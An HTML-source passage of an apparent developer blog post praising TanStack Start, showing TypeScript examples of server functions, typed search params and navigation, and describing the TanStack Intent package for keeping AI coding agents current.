&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;getGithubUser&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;createServerFn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;inputValidator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;username&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}):&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;GithubUser&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;fetch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`https://api.github.com/users/&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;Accept&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;application/vnd.github+json&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// a token here stays on the server, never ships to the client:&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Authorization: `Bearer ${process.env.GITHUB_TOKEN}`,&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ok&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;`User &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot; not found`&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;json&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;GithubUser&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;That &lt;code&gt;.handler&lt;/code&gt; runs only on the server, so a token never reaches the browser. I set &lt;code&gt;method: &#39;GET&#39;&lt;/code&gt; because this is a read, and I call it straight from my route loader like a normal async function. There is no route handler, or RSC boundary to think about and no endpoint string to keep in sync. (This snippet is trimmed for clarity. The version in the repo adds &lt;code&gt;encodeURIComponent&lt;/code&gt; on the input and separate handling for 404 and 403 rate-limit responses.)&lt;/p&gt;

&lt;p&gt;You can watch this happen in the browser too. Open the network tab, run a lookup, and you won&#39;t see a request to &lt;code&gt;api.github.com&lt;/code&gt; anywhere. The only call is the one to my own server. The GitHub fetch is happening server-side, which is exactly where I want it, and any token isn&#39;t leaked.&lt;/p&gt;

&lt;p&gt;I really like how types work here. I annotate the handler&#39;s return as &lt;code&gt;GithubUser&lt;/code&gt; once, and that type flows through the loader and into the component without me re-typing it at each call, and that holds whether it&#39;s a GET or a POST. Rename a field in the interface and every call that still reads the old property lights up red. (One caveat, that&#39;s compile-time propagation, not runtime validation. I cast the GitHub response with &lt;code&gt;as GithubUser&lt;/code&gt;, so if you want to prove the external JSON actually matches, you&#39;d add a runtime schema check.) You can get there with a route handler too, with shared types or a schema validator. The difference is that TanStack infers the chain for you by default instead of asking you to wire it up.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;feature-2-search-params-that-are-actually-typed&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#feature-2-search-params-that-are-actually-typed&quot;&gt;
  &lt;/a&gt;
  Feature 2: Search params that are actually typed
&lt;/h2&gt;

&lt;p&gt;This is the one where TanStack genuinely has an advantage as of today. Next.js gives you generic string and string-array search params, not route-local schema validation. &lt;code&gt;useSearchParams&lt;/code&gt; hands you a read-only &lt;code&gt;URLSearchParams&lt;/code&gt;, and while &lt;code&gt;typedRoutes&lt;/code&gt; plus the &lt;code&gt;PageProps&lt;/code&gt; helper have improved path, navigation, and page-prop typing, none of that validates or transforms the &lt;em&gt;values&lt;/em&gt; inside the query string the way TanStack Router does. You can get there in Next with Zod, &lt;code&gt;nuqs&lt;/code&gt;, or &lt;code&gt;next-typesafe-url&lt;/code&gt;, but it&#39;s something you add on. Nuxt can validate a route with &lt;code&gt;definePageMeta&lt;/code&gt;&#39;s &lt;code&gt;validate&lt;/code&gt; function, which can return &lt;code&gt;false&lt;/code&gt; or a &lt;code&gt;Partial&amp;lt;NuxtError&amp;gt;&lt;/code&gt; to reject a route, but it doesn&#39;t turn &lt;code&gt;route.query&lt;/code&gt; into a typed, validated query object for your component.&lt;/p&gt;

&lt;p&gt;TanStack Router treats search params as validated route state out of the box:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight tsx&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Route&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;createFileRoute&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)({&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;validateSearch&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kr&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;({&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;typeof&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&#39;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&#39;&#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;loaderDeps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;loader&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;async &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;deps&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;getGithubUser&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;user&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;component&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Home&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;I validate &lt;code&gt;?user=&lt;/code&gt; once. After that, &lt;code&gt;Route.useSearch()&lt;/code&gt; gives me &lt;code&gt;{ user: string }&lt;/code&gt;, fully typed, anywhere in the component. The loader reads that param and runs the server function, so loading the page with &lt;code&gt;?user=ErikCH&lt;/code&gt; in the URL loads the profile directly, with no extra client wiring. The lookup is shareable and survives a refresh, and I never wrote client state to make that happen. You can plug in Zod if you want richer schemas. &lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;feature-3-type-safety-that-runs-end-to-end-by-default&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#feature-3-type-safety-that-runs-end-to-end-by-default&quot;&gt;
  &lt;/a&gt;
  Feature 3: Type safety that runs end to end by default
&lt;/h2&gt;

&lt;p&gt;Typed navigation by itself isn&#39;t unique, and I want to be straight about that. Next.js has &lt;code&gt;typedRoutes&lt;/code&gt; for statically typed links, and Nuxt has typed navigation built in through &lt;code&gt;experimental.typedPages&lt;/code&gt;, plus the &lt;code&gt;nuxt-typed-router&lt;/code&gt; module for more. So all three can stop you from typoing a route.&lt;/p&gt;

&lt;p&gt;The difference is how far the chain reaches and how much setup it takes. Next&#39;s &lt;code&gt;typedRoutes&lt;/code&gt; types the path, not the search param values. Nuxt&#39;s typed pages are opt-in and cover routes and params. In TanStack it&#39;s on by default, and the same type system covers your route params, your search params, and your loader data in one connected chain.&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight tsx&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;navigate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;useNavigate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;Route&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;fullPath&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;lookup&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;React&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;FormEvent&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;preventDefault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
  &lt;span class=&quot;nf&quot;&gt;navigate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;({&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;search&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;trim&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;  &lt;span class=&quot;c1&quot;&gt;// typed: { user: string }&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;If I pass a search param that doesn&#39;t exist, or the wrong type, the type checker flags it. Vite itself transpiles TypeScript without type checking, so this is &lt;code&gt;tsc --noEmit&lt;/code&gt; (I keep it in a &lt;code&gt;typecheck&lt;/code&gt; script and run it in CI) or your editor catching it inline. And because the loader&#39;s return type flows into &lt;code&gt;Route.useLoaderData()&lt;/code&gt;, the data I render is typed by the same chain that typed the navigation. That whole path, from the server function return through the loader, the search params, and the link, is one thing instead of three features you wire up separately.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;adding-in-ai&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#adding-in-ai&quot;&gt;
  &lt;/a&gt;
  Adding in AI
&lt;/h2&gt;

&lt;p&gt;I lean on AI coding assistants like Kiro for a lot of my code, and TanStack Start is new enough that the models don&#39;t have great knowledge on it. When I asked for a server function, I&#39;d sometimes get an older API shape back, because the training data is behind.&lt;/p&gt;

&lt;p&gt;TanStack ships a fix for exactly this, and it&#39;s the last thing I showed in the video. There&#39;s a package called TanStack Intent that wires your coding agent into current TanStack patterns. You install it like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class=&quot;highlight js-code-highlight&quot;&gt;
&lt;pre class=&quot;highlight shell&quot;&gt;&lt;code&gt;npx @tanstack/intent@latest &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;div class=&quot;highlight__panel js-actions-panel&quot;&gt;
&lt;div class=&quot;highlight__panel-action js-fullscreen-code-action&quot;&gt;
    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-on&quot;&gt;&lt;title&gt;Enter fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M16 3h6v6h-2V5h-4V3zM2 3h6v2H4v4H2V3zm18 16v-4h2v6h-6v-2h4zM4 19h4v2H2v-6h2v4z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

    &lt;svg xmlns=&quot;http://www.w3.org/2000/svg&quot; width=&quot;20px&quot; height=&quot;20px&quot; viewBox=&quot;0 0 24 24&quot; class=&quot;highlight-action crayons-icon highlight-action--fullscreen-off&quot;&gt;&lt;title&gt;Exit fullscreen mode&lt;/title&gt;
    &lt;path d=&quot;M18 7h4v2h-6V3h2v4zM8 9H2V7h4V3h2v6zm10 8v4h-2v-6h6v2h-4zM8 15v6H6v-4H2v-2h6z&quot;&gt;&lt;/path&gt;
&lt;/svg&gt;

&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;



&lt;p&gt;That creates or updates your agent config, defaulting to &lt;code&gt;AGENTS.md&lt;/code&gt; (it can target others like &lt;code&gt;CLAUDE.md&lt;/code&gt; or &lt;code&gt;.cursorrules&lt;/code&gt; too), with skill-loading instructions. Your agent reads it, sees which TanStack skills are available, and pulls the current docs for whatever it&#39;s working on instead of guessing from stale training data.&lt;/p&gt;

&lt;p&gt;So I opened Kiro CLI, which picks up that &lt;code&gt;AGENTS.md&lt;/code&gt; on its own, and gave it this:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Please review my existing repository against the newly loaded TanStack Intent rules. Check my implementation for anti-patterns, missing edge cases, or deprecated syntax.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;It worked through the skills and came back with a list, a couple of &lt;code&gt;verbatimModuleSyntax&lt;/code&gt; notes, some dev-tools setup for TanStack Start, a shell component thing. One last thing, I wasn&#39;t pinning the latest version tags in my &lt;code&gt;package.json&lt;/code&gt;. Though not really required all the time, I did like how it was looking at the &lt;code&gt;package.json&lt;/code&gt; file in general.&lt;/p&gt;

&lt;p&gt;The second guardrail is the type safety from earlier. When the AI guessed an old &lt;code&gt;createServerFn&lt;/code&gt; shape, &lt;code&gt;tsc&lt;/code&gt; and my editor flagged it right away. I didn&#39;t have to catch it in review. The types caught it for me.&lt;/p&gt;

&lt;p&gt;This is the same point I made in my Vue in the Age of AI video. AI writes more of our code now, so the frameworks that verify the AI&#39;s work for you are worth more than they used to be. &lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;cleanup&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#cleanup&quot;&gt;
  &lt;/a&gt;
  Cleanup
&lt;/h2&gt;

&lt;p&gt;Nothing to tear down for local development. Stop the dev server with Ctrl+C. If you deployed, TanStack Start uses Nitro under the hood, so you can remove whatever Node target you set up. Those hosting resources can incur charges, so tear them down if you were only testing.&lt;/p&gt;

&lt;h2&gt;
  &lt;a name=&quot;conclusion&quot; href=&quot;https://dev.to/erikch/tanstack-start-is-kind-of-a-big-deal-4nec#conclusion&quot;&gt;
  &lt;/a&gt;
  Conclusion
&lt;/h2&gt;

&lt;p&gt;So is it kind of a big deal? I&#39;d put it this way. If you want explicit control, fast Vite builds, and type safety that runs from the server function through search params to your links, TanStack Start is genuinely the most compelling React framework I&#39;ve tried in a while. The server functions and typed search params alone are just really nice to have.&lt;/p&gt;

&lt;p&gt;It&#39;s not for everyone yet. The ecosystem is smaller than Next.js, there are fewer plugins and it&#39;s young. The TanStack CLI is still marked alpha, there are fewer production references to learn from, and the deployment and debugging knowledge isn&#39;t as standardized as Next.js. If you need the hiring pool and the deployment story Next.js has, that&#39;s a real reason to wait.&lt;/p&gt;

&lt;p&gt;But &quot;the default React framework is finally in question&quot; is true for the first time in years, and after building with it, I get why people are switching. If you&#39;re a Nuxt person like me, the typed search params and server functions will feel like the things you wish you had without reaching for extra modules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Resources:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://tanstack.com/start/latest&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;TanStack Start docs&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tanstack.com/start/latest/docs/framework/react/start-vs-nextjs&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;TanStack Start vs Next.js (official)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://tanstack.com/router/latest/docs/framework/react/how-to/validate-search-params&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&gt;Search params validation&lt;/a&gt;&lt;/li&gt;
